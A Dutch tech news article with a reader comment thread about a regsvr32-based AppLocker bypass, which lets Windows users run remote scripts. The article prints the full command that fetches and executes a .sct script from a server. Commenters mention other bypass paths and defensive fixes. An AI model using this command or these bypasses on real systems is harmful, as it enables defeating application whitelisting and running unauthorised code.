Onderzoeker vindt manier om AppLocker-restricties in Windows te omzeilen

De Amerikaanse beveiligingsonderzoeker Casey Smith heeft in een blogpost gepubliceerd dat de Windows-software AppLocker eenvoudig omzeild kan worden. Daardoor is het bijvoorbeeld mogelijk om programma's uit te voeren die niet door AppLocker zijn toegestaan.

AppLocker maakt het mogelijk om het gebruik van programma's per gebruiker in te stellen en daarmee onder andere het uitvoeren van bepaalde toepassingen te beperken. De software is aanwezig in Windows 7 en hoger. Smith kwam erachter dat de beveiliging te omzeilen is door het programma regsvr32. Dit zorgt er normaal gesproken voor dat bijvoorbeeld dll-bestanden worden geregistreerd in het Windows-register. Smith ontdekte de methode toen hij een toepassing wilde uitvoeren op een werkstation dat bepaalde handelingen beperkte met AppLocker.

Het omzeilen van de beveiliging werkt doordat regsvr32 scripts accepteert in de vorm van een url. Dit feit is volgens Smith maar bij weinigen bekend en heeft een aantal voordelen: "Het geweldige is dat regsvr32 gebruikmaakt van een aanwezige proxy, tls gebruikt en redirects volgt. Het is ook een ondertekende standaard Windows-binary." Voor het uitvoeren van een script is alleen nodig dat dit op een locatie aanwezig is die de gebruiker beheert, vult Smith aan. Hij heeft ter illustratie een proof of concept aangemaakt.

De onderzoeker geeft aan dat de nodige code zeer kort is en zo nodig in een tweet zou passen. Het commando neemt deze vorm aan: regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll, waarbij het sct-bestand het uit te voeren script bevat. Het is ook mogelijk andere extensies te gebruiken, bijvoorbeeld een xml-bestand met javascript, zoals The Register aantoont. Een bijkomstigheid is dat er bij deze techniek geen COM-object in het register wordt opgenomen en dat deze mede daardoor lastig vast te stellen is. Bovendien is er geen beheerderstoegang nodig om het commando uit te voeren. Er is op dit moment nog geen patch van Microsoft beschikbaar.

Reacties (75)

[breezie]

URL's meegeven aan regsvr32... Kan iemand mij een voorbeeld geven waarom een ontwikkelaar dit zou willen?

[Tribits]

De /i parameter maakt het mogelijk om de functie DllInstall aan te roepen met een installatie specifieke parameter. De documentatie pagina van de DllInstall functie geeft wat meer achtergrond informatie, hoewel het me na het lezen van die pagina eigenlijk nog steeds onduidelijk is waarom de meegeven parameter als script uitgevoerd wordt.

edit: probleem met uitvoeren van de parameter als script zit waarschijnlijk in scrobj.dll.

[Reactie gewijzigd door Tribits op 23 juli 2024 09:48]

[Inny]

Moet een reguliere gebruiker regsvr32.exe aan kunnen roepen? Als ik mij vergis is dit wel een vrij standaard configuratie omdat al snel alle executables in de Windows directory worden toegestaan.

Anders zou een temporary fix zijn om regsvr32.exe expliciet te verbieden voor reguliere gebruikers.

[GoT]

Dit vraag ik mij dus ook af.
Nu ben ik wel bekend met regsvr32 en DLL-HELL, maar ik heb altijd administrator rechten op de server+clients.
Ik vraag mij af of een gewone gebruiker het ook mag uitvoeren.
En als je dan toch al administrator rechten hebt op je machine: uninstall Applocker.

[EraYaN]

Vanaf 1 centrale pc erg veel pc's dat COM object laten adden. Of iets anders dergelijks.

[Stoney3K]

Vanaf 1 centrale pc erg veel pc's dat COM object laten adden. Of iets anders dergelijks.

Of misschien het installeren van een ouderwetse ActiveX-plugin?

[Ryan_]

Oei. Klinkt ernstig. Maar .EXE's kunnen hiermee dus niet geopend worden?

[e.dewaal]

Dat is ook mijn vraag. Volgens mij gaat het hier inderdaad om scripts, tenzij je via dat script een .exe kan starten onder andere permissies.

[Tribits]

Onder andere permissie gaat niet werken, maar je kan er wel executables mee starten. Sowieso is het draaien van een willekeurig script al een jail break vanuit het oogpunt van app locker. Ik weet niet of het script een willekeurige executable kan starten buiten app locker om, maar een script heeft op zich al genoeg mogelijkheden om vrijwel alles op een systeem te doen. Voor wie er zelf mee wil experimenteren staat er een voorbeeld scriptje op github. Start hier inderdaad de in het script genoemde executable op.

[Snake]

Het script kan dan weer de exe downloaden en uitvoeren.
En die exe kan dan weer gebruik maken van een user privilige escalation.

[Reactie gewijzigd door Snake op 23 juli 2024 09:48]

[Armin]

En die exe kan dan weer gebruik maken van een user privilige escalation.

Het gaat om een hack waarbij de gebruiker al exe's kan uitvoeren. Dus die eventuele latere elevation of privilige heeft er niet zo veel mee te maken.

Het gaat om een kunstmatige restrictie waarbij iemand op bedrijfscomputers bepaalde apps wel/niet kan draaien. Die kun je omzeilen.

[batjes]

Zo ernstig is het niet, want als normale user account heb je geen toegang tot regsvr32 en hier heb je dus admin rechten voor nodig.

Met admin rechten is elke beveiliging in Windows te omzeilen en bypassen.

EDIT: NVM, was echt in de veronderstelling dat je admin rechten nodig had voor DLL registraties. Dom dat dit niet zo is.

[Reactie gewijzigd door batjes op 23 juli 2024 09:48]

[Tribits]

regsvr32 laadt de gespecificeerde DLL en roept dan DllRegisterServer aan (of DllUnregisterServer indien /u gespecificeerd). Of die call succesvol is hangt af van de privileges van de gebruiker. Het commando 'regsvr32 scrobj.dll' kan in ieder geval ook door een gewone gebruiker uitgevoerd worden.

[Reactie gewijzigd door Tribits op 23 juli 2024 09:48]

[batjes]

Het is al weer heel wat jaartjes geleden dat ik handmatig DLL's moest registeren om het 1 of ander, staat me bij dat dat run as admin moest. Dit lijkt me ook gewoon logisch want als je niets kan installeren of wijzigen aan het OS, waarom zou je dan DLL bestanden moeten registeren Vreemde design keuze van MS IMO.

[Tribits]

Waarschijnlijk omdat er naast de component registry onder HKEY_CLASSES_ROOT\CLSID ook nog een component registry bestaat onder HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID. Ik heb er zelf nooit gebruik van gemaakt (wel van de system component registry) maar neem aan dat die bedoeld is om als gebruiker componenten te kunnen registreren. Dat zou je nog steeds als een vreemde ontwerp keuze kunnen bestempelen, het is in ieder geval niet iets dat veel wordt gebruikt.

[rorydeleur]

Even off-topic: je HKEY_CLASSES_ROOT\CLSID is een samenvatting van HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID en HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID waarbij die van de current user wint van de local machine. Daarnaast heb je ook nog te maken met HKEY_USERS\<SID>_Classes die op zijn beurt weer verwijst naar HKEY_USERS\<SID>\SOFTWARE\Classes\CLSID, hierin staan de wijzigingen die nog niet in NTUSER.DAT zijn aangekomen.
Nog een leuke, de meeste weten misschien dat je HKEY_CURRENT_USER stukken worden opgeslagen in NTUSER.DAT wat in je profiel huist, maar wist je ook dat de HKEY_CURRENT_USER\SOFTWARE\Classes apart worden opgeslagen in het lokale gedeelte van je profiel (C:\Users\<username>\AppData\Local\Microsoft\Windows\UsrClass.dat) omdat deze registraties specifiek voor de software voor die computer zijn (en dus niet mogen roamen, ook al zijn ze persoonlijk...

[Armin]

NVM, was echt in de veronderstelling dat je admin rechten nodig had voor DLL registraties. Dom dat dit niet zo is.

Je kunt terrecht COM objecten en DLL's registreren als user in je eigen user-space.
Wil je in de system of 'all user' space iets registreren, zul je admin rechten hebben.

Het gaat hier meer om een soort sandbox in een sandbox. Immers het gaat om restricties van apps en applicaties die de systeembeheerder ingesteld heeft op bedrijfscomputers.

Serieus dus, maar ook weer niet geheel wereld schokkend. De gebruiker wordt immers wel geacht te kunnen werken op die computer.

[batjes]

Top, ik heb me nooit verdiept in regsvr32 dus hoe dat exact in zijn werk ging wist ik niet.

Leek me sowieso al niet zo heel schokkend want je moet dan als gewone gebruiker alsnog toegang hebben tot CMD en/of RUN, wat in een beetje organisatie niet snel het geval zal zijn.

[HADES2001]

vandaar dat ongeveer elke cryptoware zonder admin rechten gewoon je hele HDD kan encrypten. geloof me tegenwoordig maakt het totaal niet meer uit of je wel of geen admin rechten hebt voor gevaarlijke software.
Het enige wat je voorkomt is dat de grootste fout bij een PC voorkomt en dat is dat een digibeet verkeerde dingen doet.
Hopelijk patcht microsoft ook snel deze fout

[batjes]

Hele HDD of alleen het user profiel en overige open "everyone read/write" bestanden.

Tenzij je zelf admin rechten geeft aan desbetreffende cryptoware (of deze via exploits zichzelf toe-eigend -wat de meeste niet doen-) dan zal het niet snel je C:\Windows of C:\Program Files encrypten.

Het grootste probleem is dat vandaag de dag (mijzelf inclusief) nog steeds iedereen op een Admin account inlogt op Windows. En de meeste mensen drukken gewoon op ja zodra een UAC scherm naar voren komt, die kijken niet eens wat er aan de hand is of waar voor het bedoelt is.

[Reactie gewijzigd door batjes op 23 juli 2024 09:48]

[TWyk]

Het grootste probleem is dat vandaag de dag (mijzelf inclusief) nog steeds iedereen op een Admin account inlogt op Windows. En de meeste mensen drukken gewoon op ja zodra een UAC scherm naar voren komt, die kijken niet eens wat er aan de hand is of waar voor het bedoelt is

Ik denk dat juist die groep mensen totaal geen last zal hebben van dit probleem omdat ze geen Applocker gebruiken.
Dit is meer een issue voor omgevingen binnen grotere organisaties.
Organisaties die meestal ook wel beheerders hebben die dit gat indien nodig snel kunnen afdichten.

[batjes]

In dat soort organisaties zullen ze voor gewone gebruikers hoop ik sowieso de CMD en RUN afgeschermd hebben.

[TWyk]

Het afschermen daarvan kun je omzeilen door .bat files te maken en op te starten.
En als in je organisatie Applocker het gebruik van .bat scripts blokkeert dan kun je dat omzeilien met de oplossing uit het artikel.

[Reactie gewijzigd door TWyk op 23 juli 2024 09:48]

[batjes]

Haha, helemaal vergeten inderdaad. Ergens een verloren readme.txt vinden en je bent binnen in de CMD

[Anoniem: 463321]

Wel eens van user privilige escalation gehoord? Het is met een stukje malware of code in een 'leuk' powepoint bestand zo gepiept.

[batjes]

Niet het geval hier, ik meende alleen dat regsvr32 niet werkte onder een normale account. Wat het naar mijn mening ook niet zou moeten (als je geen software kan instaleren, waarom zou je dan wel DLL's moeten kunnen registreren)

[jpsch]

Misschien om DLL's te kunnen gebruiken bij bepaalde spreadsheets?

[johnkeates]

Jawel. Je kan er alles mee openen.

[Wildfire]

Voor de zekerheid regsvr32.exe maar in m'n firewall toegevoegd. Scheelt weer wachten op een patch van Microsoft, ik gebruik regsvr32.exe toch enkel maar lokaal.

[tweakkjoost]

Kan iemand uitleggen hoe ik %systemroot%\System32\regsvr32.exe en %systemroot%\SysWoW64\regsvr32.exe via windows firewall kan blokkeren?

[Janssuh!]

Behold! (met plaatjes enzo )

[PolarBear]

Andere oplossing is regsvr32 toevoegen aan de geblokkeerde applicaties in Applocker.

[Stoney3K]

Andere oplossing is regsvr32 toevoegen aan de geblokkeerde applicaties in Applocker.

Gezien RegSVR32.exe een redelijk belangrijke systeemtool is, lijkt me dat niet zo'n goed plan. Dan kun je (ook als admin) geen applicaties meer installeren of verwijderen, inclusief updates

[Kalief]

De AppLocker stel je in per gebruiker.
Dus als je Admin en System wel toegang geeft en de rest niet zit je safe.

[jimbo123]

Waar staat "scrobj.dll" in dit commando dan voor? Of mag dat gewoon iedere willekeurige dll zijn?

[pietje63]

Dit lijtk een onderdeel van Windows scripting: https://support.microsoft.com/en-us/kb/949140

[Tribits]

Ik dacht in eerste instantie dat die keuze willekeurig was, maar dat is vermoedelijk toch niet het geval. Het probleem zit hem eigenlijk meer in scrobj.dll dan in regsvr32.exe. Het enige dat regsvr32.exe doet is het aanroepen van de DllInstall functie van de DLL. Dat hoeft op zich geen probleem te zijn, maar kennelijk bevat scrobj.dll een DllInstall functie die de parameter interpreteert als een script dat vervolgens uitgevoerd wordt. Als je scrobj.dll bijvoorbeeld vervangt door ole32.dll werkt het niet omdat die helemaal geen DllInstall functie heeft.

[tjtristan]

Niet de enige manier om applocker te omzeilen. Probeer maar eens als standaard user een executable naar c:\windows\temp of c:\windows\tasks te kopiëren en dan uit te voeren. Sowieso vrij raar dat gebruikers standaard schrijfrechten hebben in bepaalde windows mappen.

[JAVE]

Dat een gewone user tasks kan maken/aanpassen voor zichzelf lijkt me redelijk normaal.
En een temp dir is een temp dir.

Ik zou verwachten dat deze echter ook per user in je user profile worden gezet (Dus per user een eigen mapje 'tasks' etc).

Maar waarom zijn de bestanden executable in die directories?

[tjtristan]

De standaard regels van applocker zijn eigenlijk een lachertje. Deze 2 pagina's lijnen wel goed uit wat alle kwetsbaarheden van applocker zijn en hoe je je hier zelf alsnog tegen kan beschermen, dit bestaat voornamelijk door meer mappen en applicaties te blacklisten in de windows directory.

https://www.nsa.gov/ia/_f...osoft_AppLocker_FINAL.pdf
https://dfir-blog.com/201...ndows-networks-applocker/

Ik ben bang dat we binnenkort malware/ransomware gaan zien wat gebruik gaat maken van deze kwetsbaarheden.

[PolarBear]

Applocker behoeft sowieso wat inzet van de beheerder. Het is niet iets wat je even aanzet. Als je dat denkt dan is Applocker geen goede oplossing voor je.

[mkools24]

Toevallig heeft applocker vandaag bij ons nog cryptoware onderschept, maar ik zie het ook als één van de mogelijkheden om cryptoware tegen te gaan. Anderen zijn antivirus, WAF etc.

Meeste cryptoware houdt trouwens geen rekening met applocker want de meeste bedrijven draaien het toch niet (stom stom)

[SunnieNL]

In de video heeft hij al toegang tot cmd.exe, dus het is logisch dat het script cmd.exe van Applocker mag openen.
Dat het script uitgevoerd wordt is een ander ding.

Wel voer voor verder onderzoek. Zal straks mijn testomgeving eens aanslingeren en applocker vol actief zetten om te zien of het dan ook allemaal nog lukt. In een normaal afgeschermde omgeving zou ik gebruikers geen toegang geven tot cmd.exe.

[Abbu-kun]

Je moet inderdaad al als gebruiker ingelogd zijn op dit systeem. Maar als beveiligingsonderzoeker (en wat minder whitehat achtige types) wil het nog wel eens gebeuren dat je makkelijk aan een account komt, maar er verder weinig mee kan omdat die account beperkte rechten heeft.
Het verschil is dat je in die video gaat van een commandpromt dat bijna bij elke actie zegt dat je onvoldoende rechten hebt naar elk willekeurige applicatie die je maar wil, ongeacht dat deze applicatie niet op de Applocker whitelist staat.
Hij opent helaas niet een command prompt dat zelf als administrator draait, maar hij kan nu andere programma's draaien die beveilignsproblemen hebben waarmee dat misschien wel kan. Daarmee vergroot je deze kwetsbaarheid het aanvalbare oppervlak van de machine, het idee was dat al die andere niet ondertekende programma's en uitgeschakelde Windowscomponenten niet toegankelijk zijn en dus ook niet te misbruiken.

[SunnieNL]

nee, in deze command prompt wordt alleen het draaien van scripts geblokkeerd bij deze onderzoeker.
Het starten van applicaties mag gewoon. Zou applocker het starten van cmd.exe of calc.exe niet toestaan, dan hebben zijn scripts niets van waarde omdat die executables ook dan geblokkeerd worden.
Deze onderzoeker heeft zijn applocker draaien met default rules, waarbij alle executables in program files en de windows subdirs worden geaccepteerd. Daarom werkt dit allemaal.
Stel je hem goed in, dan krijg je scripterrors. En met een hele goede systeembeheerder kan regsvr32 door een gebruiker niet gestart worden (en houd applocker hem tegen), omdat deze applicatie voor een normale gebruiker niet toegankelijk hoort te zijn.

kijk, als hij nou eerst in het filmpje had aangetoond geen calc.exe of cmd.exe te kunnen draaien en dan via een lnk bestand met dezelfde commandprompt het wel lukte, zou die alle credits krijgen. Nu krijgt hij alleen de stempel 'zo moet je applocker dus niet instellen. RTFM onderzoeker'

[Reactie gewijzigd door SunnieNL op 23 juli 2024 09:48]

[Abbu-kun]

Okee. Het filmpje dat ik via de links hier vond hoorde niet bij het artikel waar dat filmpje werd genoemd en dat artikel hoorde weer niet bij die onderzoeker zelf dus het is helaas niet een hele sterke demonstratie ben ik bang. Maar dan heb ik kennelijk de geschreven tekst ook niet helemaal goed gesnopen.

En uit andere discussie maak ik ook op dat zelfs al 'moet' je user regsvr32 draaien je waarschijnlijk het meeste aanvalsoppervlak kan beperken met een firewall regel.
Dat je applocker niet zo hoort te gebruiken neem ik van harte, maar ik weet zeker dat 'beheerders' rondlopen die gewoon het tjecklijstje 'dingen die ik super goed doe' aanvult door het simpelweg aan te plempen zonder zich ooit in instellingen te verdiepen. Dus het is zeker een leuk trucje wanneer je iemand met zo'n false sense of security test. Maar het is dan niet het sensationele beveiliginsprobleem dat andere nieuwspublicaties er van willen maken.

Wat denk ik de beste kanttekening van dit verhaal nog is dat dit dus vastgelegd en verwacht gedrag van regsrv32 is. Een vertrouwd bestand waar een beperkte gebruiker niet veel mee te maken hoort te hebben. Echter is de keuze voor dit gedrag grotendeels weggestopt in ondergewaardeerde ('oude'?) documentatie of discussies? Maar de vraag is dan misschien vooral of er meer van dit soort leuke ontwerpbeslissingen rondspoken in Microsoft utility land die een beetje anders uitpakken in deze tijden met veel veelzijdigere verbonden computeromgevingen.

[rkeet]

Voor zij die er nog over twijfelen, http://subt0x10.blogspot....-whitelisting-script.html zijn originele post.

Een stukje daaruit:

Then, I decided to place the script block inside of the Registration tag. Bam! Now all I had to do was call the regsvr32 and the code would execute. Still... That whole admin problem...

After pouring over hellish COM+ forums from 1999, I found a reference that stated that the code in the registration element executes on register and unregister.

I logged in as a normal user and right clicked the .sct file and chose "unregister" and... It worked.

That was it.

The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc...And.. You guessed a signed, default MS binary. Whohoo.

Er zijn dus geen admin privileges nodig om de code uit te voeren.

En hier is de link uit zijn artikel naar de proof of concept op Github.

[Reactie gewijzigd door rkeet op 23 juli 2024 09:48]

[R4gnax]

Er zijn dus geen admin privileges nodig om de code uit te voeren.

Je mist het belangrijkste punt: er kunnen ook geen admin privileges verkregen worden.
Wat je op deze manier als script draait, zal alleen met de rechten van de huidige gebruiker draaien.

En als je dus netjes op een normale user account draait of in Windows 7 (want in 8+ is het wel lek) gebruik maakt van UAC, dan is er geen mogelijkheid om op deze manier privilege escalation te bewerkstelligen.

[Reactie gewijzigd door R4gnax op 23 juli 2024 09:48]

[Anoniem: 84766]

Het was ook wel netjes van Smith geweest als hij dit eerst bij MS had gemeld.

[AMS76]

Goed, maar dan moet je het systeem of de gebruiker nog wel zover krijgen dat regsvr32.exe met de bijbehorende opties worden uitgevoerd.

[batjes]

Meneer moet dan toegang hebben tot de machine inclusief de bijbehorende admin rechten voor het runnen van regsvr32. Met admin rechten is het een koud kunstje om apps te draaien welke MS niet vertrouwt. Ik snap deze omweg dan niet helemaal. Want hier is regsvr32 niet eens voor nodig.

EDIT: Anders eerst zelf even testen voor je onzin uit gaat lopen kramen

[Reactie gewijzigd door batjes op 23 juli 2024 09:48]

[Anoniem: 420461]

Niet helemaal...

Bovendien is er geen beheerderstoegang nodig om het commando uit te voeren.

[R4gnax]

Niet helemaal...
[...]

Als ik me goed herinner moet je nog steeds admin-rechten hebben om systemwide een DLL te registreren. Zonder admin-rechten werkt dat niet en registreer je ten hoogste een DLL voor de current user.

Heeft iemand al geprobeerd of regsvr32 dat script ook uitvoert met admin rechten? Of is dit enkel een AppLocker bypass (waarvan er wel meer te vinden zijn) waarmee je weliswaar applicaties zonder toestemming kunt draaien, maar niet buiten de gelimiteerde rechten van de normale gebruikersaccount...

[Tribits]

Klopt, regsvr32 roept DllRegisterServer (in de DLL zelf) aan. Die roept op zijn beurt weer aan wat nodig is om de betreffende DLL te registreren en geeft de resultcode terug aan regsvr32. Je kan dus geen waarden in het systeemdeel van de registry schrijven zonder admin privileges. Dat wordt hier verborgen door de /n /u en /s parameters te gebruiken die er voor zorgen dat DllRegisterServer niet aangeroepen wordt en foutmeldingen onderdrukt worden.

Het script en de executables die het script opstarten worden gewoon uitgevoerd onder de gebruiker die het regsvr32 commando uitvoert. Er is geen sprake van privilege escalation.

[Reactie gewijzigd door Tribits op 23 juli 2024 09:48]

[SunnieNL]

Het onderzoek klopt waarschijnlijk niet of de titel van tweakers klopt niet.
Ik heb het net zelf geprobeerd onder mijn testmachine. Een gedeelte van het verhaal is waar.
a) ik kan wscript / jscript uitvoeren op deze manier
b) ik kan geen applicaties via het script starten waar ik geen toegang tot heb.

Ik vermoed dat de onderzoeker in kwestie de standaard appguard rules aktief heeft. Deze geven toegang tot alle applicaties in program files en windows subdirs. Op die manier richt je applocker verkeerd in. Wil je het goed doen, dan geef je expliciet toegang per applicatie. Maar dat is veel werk en daarom doen veel admins dat niet.

Als ik expliciet aangeef dat calc.exe niet gestart mag worden als aanvulling op die regels, kan ik calculator met het tweede script op https://gist.github.com/s...1ff0f5602092f58cbb3f7d302 al niet meer starten. Ik krijg dan een script error. Ook andere applicaties waar ik geen toegang toe heb,kan ik niet meer starten.

De onderzoeker heeft dus alleen een manier gevonden om scripts te starten buiten applocker om. Dit is maar 1 functie van applocker (blokkeren van scripts op niet bekende locaties). Het blokkeren van executables waar de gebruiker geen toestemming voor heeft, blijft gewoon werken.
Het gat is dus niet zo groot als nu doet voorkomen.

Kijken we overigens naar de scripts, dan gebruikt de onderzoeker de extensie .sct. Het is gedocumenteerd dat applocker alleen de extensies .vbs, .js, .cmd, .bat en .cmd. Het blokkeert niet .sct, office macro's, etc. Als je met de standaard regelset van applocker al toegang hebt tot c:\windows\executables. Dan kun je ook een cmd.exe openen en cscript.exe dezemagwel.sct starten, zonder dat applocker de boel blokkeert.

Dus eigenlijk... heeft deze onderzoeker gewoon zijn pc niet goed op slot gezet doordat hij de standaard regels van applocker gebruikt en de tekortkomeningen ervan niet weet.

[Reactie gewijzigd door SunnieNL op 23 juli 2024 09:48]

[Tribits]

De onderzoeker heeft dus alleen een manier gevonden om scripts te starten buiten applocker om. Dit is maar 1 functie van applocker (blokkeren van scripts op niet bekende locaties). Het blokkeren van executables waar de gebruiker geen toestemming voor heeft, blijft gewoon werken.
Het gat is dus niet zo groot als nu doet voorkomen.

Het blijft desondanks volgens mij toch wel een behoorlijk gat. Het uitvoeren van willekeurige scripts op een machine is toch wel een serieus veiligheidsrisico. Zelfs als het niet mogelijk is om andere executables uit te voeren kan een script zeer veel schade aanrichten of vertrouwelijke informatie naar buiten sturen. Als een sct script gewoon alle functionaliteit van een VBScript biedt lijkt me zelfs iets als een cryptlocker nog wel haalbaar.

Kijken we overigens naar de scripts, dan gebruikt de onderzoeker de extensie .sct. Het is gedocumenteerd dat applocker alleen de extensies .vbs, .js, .cmd, .bat en .cmd. Het blokkeert niet .sct, office macro's, etc. Als je met de standaard regelset van applocker al toegang hebt tot c:\windows\executables. Dan kun je ook een cmd.exe openen en cscript.exe dezemagwel.sct starten, zonder dat applocker de boel blokkeert.

Even geprobeerd op een Windows Server 2008R2 met de standaard en dat werkt dus niet. SCT heeft geen scriptengine met zich geassocieerd en kan dus niet vanaf de command line opgestart worden, ook niet met CScript/WScript. Dat zal ook wel de reden zijn dat applocker de sct scripts niet blokkeert.

Dus eigenlijk... heeft deze onderzoeker gewoon zijn pc niet goed op slot gezet doordat hij de standaard regels van applocker gebruikt en de tekortkomeningen ervan niet weet.

Dit is dus geen gedocumenteerde/bekende tekortkoming, zonder deze hack is het niet mogelijk een willekeurig (sct) script uit te voeren.

[SunnieNL]

of het een bug is van regsvr32 valt te betwisten.
Blijkbaar is of was het in het verleden handig om dit soort scripts te kunnen doorlopen.

Echter, In een normale afgeschermde omgeving kun je regsvr32 als gebruiker niet eens starten omdat deze is geblokkeerd door applocker door de administrator.
Als je standaard rules gebruikt kunnen gebruikers wel iets meer dan wat er nu wordt beschreven. Ik kan dan namelijke elke willekeurig executable uitvoeren door deze alleen al in de tasks subdir te zetten.
Noemen we dat een bug in Windows? Nee, dat is een bug in de gang van zaken van de administrator.

Als je applocker configureert zoals het hoort kan deze bug domweg niet voor komen in je omgeving.

[Tribits]

Echter, In een normale afgeschermde omgeving kun je regsvr32 als gebruiker niet eens starten omdat deze is geblokkeerd door applocker door de administrator.

Er is ook gewoon een geldig scenario voor gebruikers om regsvr32 uit te voeren. Op die manier kan een component zich in HKCU deel van de registry registreren. Ik neem aan dat die mogelijkheid niet vaak gebruikt wordt, maar je loopt nu eenmaal het risico dat je dingen breekt als je functionaliteit gaat blokkeren waar ook legitieme scenario's voor bestaan.

[SunnieNL]

Dat valt wel mee. Ik kan geen scenario bedenken waarop een gewone gebruiker dat moet doen in een gecontroleerde omgeving waar ook applocker actief is. Daarin zijn namelijk alle applicaties al geinstalleerd (andere applicaties die niet zijn geinstalleerd zijn een potentieel gevaar dat applocker toch al blokkeerd).
Als een applicatie perse dingen in het register van de gebruiker kwijt wil, dan plaats je die er in via gpo extensions of injecteer je ze er in via regedit (al heeft het eerste mijn voorkeur).

In omgevingen waar applocker niet actief is, hebben gebruikers over het algemeen al meer rechten om dingen kapot te maken en heb je wel meer security risico's dan deze.

[R4gnax]

Het script en de executables die het script opstarten worden gewoon uitgevoerd onder de gebruiker die het regsvr32 commando uitvoert. Er is geen sprake van privilege escalation.

Zie je wel; storm in een glas water, dus. Alleen maar weer het zoveelste geval van een Applocker bypass. Dat verklaart dan ook gelijk waarom MS dit niet met hoge prioriteit via een critical security update gepatched heeft.

[batjes]

Ik kon zweren dat regsvr32 onder een normale account niet werkte, net getest en werkt dus wel. Sowieso mooi veiligheids gat dat je als normale user in je registry kan kloten.

[Anoniem: 126717]

Dat is al jaren zo, gelukkig weten de meeste gebruikers dat niet. Ik gebruik het vaak om sleutels weg te gooien anders start Acrobat pro niet na wisselen van fat naar thin cliënt of terug.
Maar dat je op deze manier code kan uitvoeren is even slikken!

[batjes]

Ik was er van op de hoogte dat je remote DLL's kan lopen includen en dus meuk kon binnen trekken via regsvr32.. Maar als normale user "system maintenance" kunnen doen is belachelijk.

Dit zijn van die Windows 98 omweggetjes/exploits/bugs/openstaande klapdeuren.

[Blokker_1999]

regsvr op zich mag dan wel toegankelijk zijn, het zou me verbazen dat je systemwide dlls kunt registreren.

[koelpasta]

Meneer moet dan toegang hebben tot de machine inclusief de bijbehorende admin rechten voor het runnen van regsvr32.

Heb je dit dan zelf al gechecked voordat je meneer afkraakt?

[batjes]

Zojuist ja

Ik meen me te herinneren dat je voor het registereren van DLL's altijd admin rechten nodig had. Klinkt ook logisch, want waarom zou een random bobo DLL's moeten registreren.

[koelpasta]

Hehehe.
Ja, logischerwijze zou je dat mogen verwachten inderdaad.
Wel jammer dat je dan weer gelijk de grond in wordt gemod.

[batjes]

Ik had het nogal fout, ik kan me wel vinden in het fout = -1 ondanks de officiele regeltjes omtrent het voten Gebeurt gelukkig niet al te vaak, downvoten is wat dat betreft wel prettige herinnering voor het fact checken. Een user toevoegen had het me kunnen besparen

edit: Tevens staat er zo'n Tweaker logo naast mijn naam in de posts op Windows topics, dan mag mijn onzin geraaskal best gedownvote worden

[Reactie gewijzigd door batjes op 23 juli 2024 09:48]